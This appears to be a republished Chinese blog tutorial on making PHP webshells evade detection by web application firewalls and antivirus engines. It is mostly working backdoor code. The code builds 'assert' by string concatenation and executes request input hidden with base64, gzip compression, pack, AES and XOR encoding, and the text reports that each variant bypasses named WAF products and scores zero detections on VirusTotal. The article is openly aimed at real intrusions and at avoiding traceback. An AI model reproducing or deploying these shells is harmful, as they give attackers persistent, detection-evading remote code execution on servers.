什么?你还不会webshell免杀?(一)
2022-7-5 17:30:12 Author: mp.weixin.qq.com(查看原文) 阅读量:17 收藏

1.简单字符串拼接

<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

免杀效果

某狗4.0

可以看到这里非常简单的混淆就能绕过安全狗

某塔最新收费waf

可以看到这简单的混淆是无法绕过宝塔的

但是如果我们不使用敏感函数作为参数的话

还是可以发现其实只是过滤参数里的内容,其实依旧比较好绕过,下下面的字符串处理中,我们会使用到函数来进行流量加密和代码加密

2.利用字符串函数

ucwords()  //把每个单词的首字符转换为大写
ucfirst()  //首字符转换为大写
trim()  //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr()  //函数返回字符串的一部分
strtr()  //函数转换字符串中特定的字符
strtoupper()  //把所有字符转换为大写
strtolower()  //把所有字符转换为小写
strtok()  //函数把字符串分割为更小的字符串
str_rot13()  //函数对字符串执行 ROT13 编码
chr()  //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode()  //字符串压缩
gzuncompress()、gzinflate()、gzdecode()  //字符串解压
base64_encode()  //base64编码
base64_decode()  //nase64解码
pack()  //数据装入一个二进制字符串
unpack()  //从二进制字符串对数据进行解包

在这里我们使用base64加参数加密

<?php
$func = base64_decode($_GET["func"]);
#cGhwaW5mbygp
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

可以看到绕过,成功了。。。。。可以看到对于收费的waf而言依旧比较好绕过,其实在webshell上的查杀大部分都是在于规则上的匹配,对于php而言如果想绕过的话基本上都是"功夫不负有心人",只要去花时间都是可以绕过的。如何在根本上去减少webshell带给服务器的危险,其实直接禁用一些关键函数,和不使用有危险的扩展是非常有效的方法。虽说现在我们已经绕过了常见的waf,但是在真正的渗透中,目标都使用的是更高级的云waf,不但规则更新的比较快而且,还会将被拦截webshell进行记录,存在被溯源,和绕过的新思路被发现的可能,因此学习更多的混淆技巧,是比较重要的。

接下来讲解一下不常用的函数

gzcompress系列

<?php
$a = gzcompress("abc");
echo "压缩后: ".$a;

echo "<br>解压后: ".gzuncompress($a);
?>

可以看到这里解压后的内容变成了一堆乱码,在这里值得注意的是,如果我们利用方式依旧像base64一样是行不通,因为这一串乱码是无法提过字符串的形式准确的返回给服务端的

这里笔者提供两个思路:

1.base64编码

再次利用base64编码,如果没有经验的兄弟可能会认为这是多此一举,我直接用base64不就完了么,其实在真正的对抗当中,很多安全设备是可以识别base64编码的,可以自动解码判断解码后的内容。这一不其实就是为了,防止被解码后,内容被识别

<?php
$func = gzuncompress(base64_decode($_GET["func"]));
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

2.伪装成文件,以二进制方式传输

这种发送迷惑性比较大,很少有waf会去识别二进制流中的内容,顶多就是一些简单的正则表达式去匹配一些字符串,乱码根本就不全去识别

由于不能直接防止粘贴,因此需要在本地生成二进制文件

<?php
$a = gzcompress("phpinfo();");
file_put_contents("123.txt",$a);
?>

在本地搭建一个上传页面只为获取数据包

源码如下

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8" />
    <title>文件上传</title>
</head>
<body>
<form method="post" enctype="multipart/form-data" action="">
    <input type="file" name="filename">
    <button type="submit" >上传</button>
</form>
</body>
</html>
<?php
printf($_FILES);

可以看到这些后缀和mime这些都是文件上传的敏感点,只要我们不去触发的话,waf还是会对我们很信任的

可以看到这里执行了phpinfo,关键在于这串字符是非常难解析的,一般的waf是无法解析出来的

pack系列

<?php

$func=pack("H14","706870696e666f");

$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);

如果有经验的同学可能会觉得这个和hex2bin非常相似,其实pack函数比hex2bin强大的多

语法:

unpack(format,data)

data。规定被解包的二进制数据。

format。规定在解包数据时所使用的格式。
可能的值:

a - NUL 填充的字符串
A - SPACE 填充的字符串
h - 十六进制字符串,低位在前
H - 十六进制字符串,高位在前
c - signed char
C - unsigned char
s - signed short(总是16位, machine 字节顺序)
S - unsigned short(总是16位, machine 字节顺序)
n - unsigned short(总是16位, big endian 字节顺序)
v - unsigned short(总是16位, little endian 字节顺序)
i - signed integer(取决于 machine 的大小和字节顺序)
I - unsigned integer(取决于 machine 的大小和字节顺序)
l - signed long(总是32位, machine 字节顺序)
L - unsigned long(总是32位, machine 字节顺序)
N - unsigned long(总是32位, big endian 字节顺序)
V - unsigned long(总是32位, little endian 字节顺序)
f - float(取决于 machine 的大小和表示)
d - double(取决于 machine 的大小和表示)
x - NUL 字节
X - 备份一个字节
Z - NUL 填充的字符串
@ - NUL 填充绝对位置

此函数提供了多中格式,可以将文件或者流量变得更加复杂

3.加密函数与自写加密函数

openssl加密函数:

openssl_encrypt方法详解:

openssl_encrypt($data$method$key$options = 0, $iv = "", &$tag = NULL, $aad = ""$tag_length = 16)

参数:

1.$data:加密明文
2.$method:加密方法: 可以通过openssl_get_cipher_methods()获取有哪些加密方式
3.$passwd:加密密钥[密码]
4.$options:数据格式选项(可选)【选项有:】:0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3
5.$iv:密初始化向量(可选),需要注意:如果method为DES−ECB,则iv无需填写
6.$tag:使用 AEAD 密码模式(GCM 或 CCM)时传引用的验证标签(可选)
7.$aad:附加的验证数据。(可选)
8.$tag_length:验证 tag 的长度。GCM 模式时,它的范围是 4 到 16(可选)

openssl_decrypt方法详解:

openssl_decrypt($data$method$password$options = 1, $iv = ""$tag = "",  $aad = "")
参数:

1.$data:要解密的加密消息。
2.$method:解密方法:可以通过openssl_get_cipher_methods()获取有哪些解密方式
3.$passwd:解密密钥[密码]
4.$options:数据格式选项(可选)【选项有:】0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3
5.$iv:密初始化向量(可选),需要注意:如果method为DES−ECB,则iv无需填写
6.$tag:AEAD密码模式下的身份验证标签(可选)
7.$aad:附加的验证数据。(可选)

函数基本使用:

<?php
// 要加密的字符串
$data = 'demo';
// 密钥
$key = '123456';
// 加密数据 'AES-128-ECB' 可以通过openssl_get_cipher_methods()获取
$encrypt = openssl_encrypt($data, 'AES-128-ECB', $key, 0);
echo "加密后: ".$encrypt;

//密钥
$key = '123456';
// 解密数据
$decrypt = openssl_decrypt($encrypt, 'AES-128-ECB', $key, 0);
echo "<br>解密后: ".$decrypt;

实际利用:

<?php
$key = "password";

$fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key, 0);
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

自己写加密算法

这种方式也比较简单,在很多ctf题目中都喜欢考与,或,取反,异或等进行绕过,其中可以直接用他们进行加密操作,当然如果学过密码学,一些简单的加密方式其实也行,凯莎密码,维吉尼亚密码,替换加密等都是可以尝试的,但是更复杂的算法还是建议,能使用现成的扩展就直接用,没必要花太多时间去研究这些算法。

下面就以异或加密为例:

<?php
<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

在看一下vt的查杀率

可以看到这没有一个查出来,讲了这么多,大家其实已经发现的webshell的免杀远比木马免杀容易得多,其实我们的目光不能再放在什么某狗,某盾,某塔,这些waf上,应该将目标定为于新型的云waf上。当然这只是免杀的一部分,后面还有继续讲解其他免杀方式。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

靶场实操,戳“阅读原文"

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652888785&idx=1&sn=a9bebd56b4e553859ca0d6a3e92a4be1&chksm=bd59a21c8a2e2b0ac3b294966cc08a4f17425ecccba2e06904ec9dd9d03216ded597f53b0383#rd
如有侵权请联系:admin#unsafe.sh